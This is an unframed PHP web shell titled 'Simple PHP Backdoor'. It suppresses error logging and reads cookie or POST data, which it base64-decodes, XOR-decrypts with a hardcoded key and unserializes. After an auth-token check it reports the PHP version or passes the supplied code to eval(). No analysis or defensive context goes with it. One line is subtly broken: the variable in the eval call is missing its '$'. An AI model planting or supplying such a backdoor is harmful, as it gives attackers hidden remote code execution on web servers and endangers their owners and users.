Simple PHP Backdoor

<?php

@ini_set("error_log",NULL);
@ini_set("log_errors",0);
@ini_set("max_execution_time",0);
@set_time_limit(0);

if(!defined("PHP_EOL")){
    define("PHP_EOL","");
}

if(!defined("DIRECTORY_SEPARATOR")){
    define("DIRECTORY_SEPARATOR","/");
}

$data = NULL;
$data_key = NULL;
$auth = "4ef63abe-1abd-45a6-913d-6fb99657e24b";

global $auth;

function sh_decrypt_phase($data,$key)
{
    $out_data = "";
    for($i=0;$i<strlen($data);)
    {
        for($j=0; $j<strlen($key) && $i<strlen($data); $j++,$i++)
        {
            $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
        }
    }
    return $out_data;
}

function sh_decrypt($data,$key)
{
    global $auth;
    return sh_decrypt_phase(sh_decrypt_phase($data,$auth),$key);
}

foreach($_COOKIE as $key => $value)
{
    $data[$key]=$value;
    $data_key[$key] = $key;
}

if(!$data)
{
    foreach($_POST as $key => $value)
    {
        $data[$key]=$value;
        $data_key[$key]=$key;
    }
}

$data = @unserialize(sh_decrypt(@base64_decode($data),$data_key));

if(isset($data["ak"]) && $auth==$data["ak"])
{
    if($data["a"]=="i")
    {
        $i=Array("pv"=>@phpversion(),"sv"=>"1.0-1",);
        echo @serialize($i);
    }
    elseif($data["a"]=="e")
    {
        eval(data["d"]);
    }
}
echo "nsd"."fjk";